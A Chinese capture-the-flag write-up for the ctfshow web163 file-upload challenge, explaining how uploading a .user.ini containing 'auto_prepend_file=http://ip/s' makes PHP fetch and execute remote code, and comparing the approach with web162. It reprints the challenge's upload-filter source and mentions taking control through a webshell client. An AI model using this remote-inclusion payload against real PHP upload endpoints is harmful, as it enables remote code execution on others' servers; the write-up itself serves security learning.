ctfshow-web163

(本文为RFI在162的基础上进一步运用,基本步骤 请转至web162)

一.初步尝试

按照我们之前162所讲述的方法先进行尝试,但是发现结果是这样的:

1.warning

  • open stream:PHP 试图"打开一个文件/流"

  • failed:失败了

  • No such file or directory:找不到这个文件

📌 PHP 把我们传的内容 当成本地文件路径 了。

2.fatal error

1)required 'png'

这句话不是描述行为,而是"复述 PHP 内部做的代码",等价于

php 复制代码
require("png");

不是我们写了这行**,而是 PHP 在内部真的执行了它。**

2) 为什么是 require,不是 include?

  • require:找不到文件 → 直接 fatal error

  • include:找不到 → warning 还能继续

我们看到最前面的是fatal error,所以后端用的是require语义

3)什么是 include_path?

这是 PHP 的一个全局配置项:

php 复制代码
include_path=".:/usr/local/lib/php"

当我们 require("png"),而不是绝对路径时,PHP 会按顺序去这些目录找。

而这里的.是当前所在目录,后面的一串则是php自带的库目录

4)总的来说

php 复制代码
PHP 启动
 ↓
加载 php.ini / .user.ini
 ↓
auto_prepend_file(执行我们的远程代码)
 ↓
require("png") ← 报错也无所谓

PHP 在启动阶段尝试执行: require("png");它按 include_path 去找这个文件,在当前目录和 PHP 库目录都没找到,所以直接终止执行。 这就告诉我们之前传的png没有被拼接,并且 无法控制require的目标内容,所以之前162的方法在这里失效了。那么,我们就需要直接在一个文件中写入我们的远程包含,而.user.ini则具备这个能力

二:正确方法

在.user.ini中,我们可以以这样的形式直接包含远程文件:

php 复制代码
auto_prepend_file=http://ip/s

bp抓包修改后发包,再访问/upload/,可以看到界面如下:

可以看到是没有报错的,可以连蚁剑或者直接hackbar里输入命令就行,这里我用hackbar:

我自己后面也又连了蚁剑去看源码如下:

php 复制代码
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }
                
            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}
function check($str){
    return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str);
}

function clearUpload(){
    system("mv ./upload/index.php ./index.php_");
    system("rm -rf ./upload/*");
    system("mv ./index.php_ ./upload/index.php");
}

sleep(2);
clearUpload();
echo json_encode($ret);

可以看到是有clearup的,所以我们只能传一个文件。

三:与162对比

做完这道题我就在想,既然可以直接传一个文件,那我在162是不是也可以就传一个.user.ini呢,然后我去试了一下,发现也是可以直接传一个:

但是这样我又在想的是163中user.ini的使用是因为控制不了 include 的内容,只能劫持 PHP 执行流程 ,那在162中可不可以直接RFI而不用.user.ini呢,然后我又去试了一下:

啥都没有,然后我的远程服务器也没有反应

后面我发现我陷入了一个误区:其实这里面直接传include本身是不行的,因为源码里面就没有include:

php 复制代码
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }
                
            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}
function check($str){
    return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str);
}
echo json_encode($ret);

而之前162我们先传的user.ini,是先include"png", 然后png里面的内容再去包含我们的远程服务器,从这里就可以看出这道题里的题目环境是allow_url_include=On, 要不然png是连不到我们的远程服务器的。

而user.ini的传入是使配置层直达include,即include("http://ip/s"); 这里就是两个分支:

分支 A:allow_url_include = On

  • PHP 允许 URL wrapper

  • 识别 http://

  • 发起 HTTP 请求到你的服务器

  • 下载 s 文件内容

  • 把内容当作 PHP 代码解析并执行

远程代码执行发生在这里


分支 B:allow_url_include = Off

  • PHP 检测到这是 URL

  • 直接拒绝

  • 抛出 warning(可能被隐藏)

  • http://ip/s 从未被请求

  • 远程代码 绝不可能执行

流程在这里终止

而如果题目中的环境是allow_url_include=off,那么我们就不能再进行RFI,只能LFI来做,就比如拼接过滤 或者session文件包含等等

四:总结

通过对 web162 与 web163 的对比分析,可以发现这两道题表面形式相似,本质却完全不同。

在 web162 中,题目并不存在任何显式的 include 或 require 点,攻击者无法通过源码层直接触发文件执行。真正的突破口在于 .user.ini 对 PHP 启动流程的劫持 :

通过 auto_prepend_file,我们可以让 PHP 在执行脚本之前,主动去包含一个我们可控的文件。由于题目环境中 allow_url_include = On,这一包含可以是远程 URL,从而实现 RFI。

而在 web163 中,题目进一步收紧了条件:

上传目录存在清理机制(clearUpload()),使得攻击者只能成功保留一个文件 。这意味着,像 web162 那样「.user.ini + 本地图片再二次包含远程」的思路已经失效。

此时,唯一可行的方式,就是直接在 .user.ini 中写入远程 auto_prepend_file,让 PHP 在启动阶段完成一次性远程包含。

在分析过程中,一个容易产生的误区是:
误以为"直接传 include 代码即可触发 RFI" 。

但实际上,无论是 web162 还是 web163,源码层根本不存在 include 执行点 ,上传的文件也不会被主动解析执行。所有成功的利用,都是发生在 PHP 配置层,而非业务代码层。

进一步抽象可以发现,.user.ini 的作用并不是"绕过过滤",也不是"替代 include",而是:

将攻击路径从"源码执行阶段",提升到"PHP 启动阶段"

是否能够最终完成 RFI,取决于运行环境中 allow_url_include 的取值:

  • allow_url_include = On

    → .user.ini 可直接引入远程代码,RFI 成立

  • allow_url_include = Off

    → 远程包含在配置层直接被阻断,攻击流程终止,只能转向 LFI、日志包含、session 包含等本地利用方式

因此,这两道题真正考察的,并不是某个固定 payload,而是对以下三点的理解:

  1. 源码是否提供文件执行入口

  2. PHP 配置文件(.user.ini)的加载时机与权限

  3. 环境参数(如 allow_url_include)对漏洞模型的决定性影响

当这三点被理清之后,就不再是"照着 WP 做题",而是可以在看到源码和环境特征的第一时间,判断出:

这道题能不能 RFI?如果不能,攻击面应该转向哪里?

我想这才是 web162 / web163 真正想教会我们的东西。

相关推荐
白帽攻防录4 小时前
SRC 挖洞:Apache APISIX 非规范路径授权绕过深度复盘,CVE-2026-94269 怎么绕过网关访问后端
网络安全·apache·src漏洞挖掘
学逆向的13 小时前
win32注入代码
开发语言·网络安全·api·win32
Web Security Loop14 小时前
MAC安装最新Burpsuite pro详细步骤教程
web安全·macos·网络安全·安全性测试
墨云安全20 小时前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
刘婉晴1 天前
【APP安全测试】Frida 基础
网络安全
科技象限1 天前
数据防泄密系统怎么选?看它怎么把几道防线叠成网
运维·安全·网络安全·安企神
sbjdhjd1 天前
云安全 | 从特权容器到旧版 runC:Docker 宿主机访问与运行时缺陷复盘
运维·网络安全·docker·云原生·kubernetes·云计算·云安全
sbjdhjd2 天前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全
袁哥大话安全2 天前
巡隐WEBSHELL扫描软件
人工智能·安全·web
Dachui_11222 天前
内网穿透如何限制访问地区?ZeroNews Geo Location 区域访问控制实践
运维·网络安全·内网穿透·访问控制·远程办公·api安全·ip白名单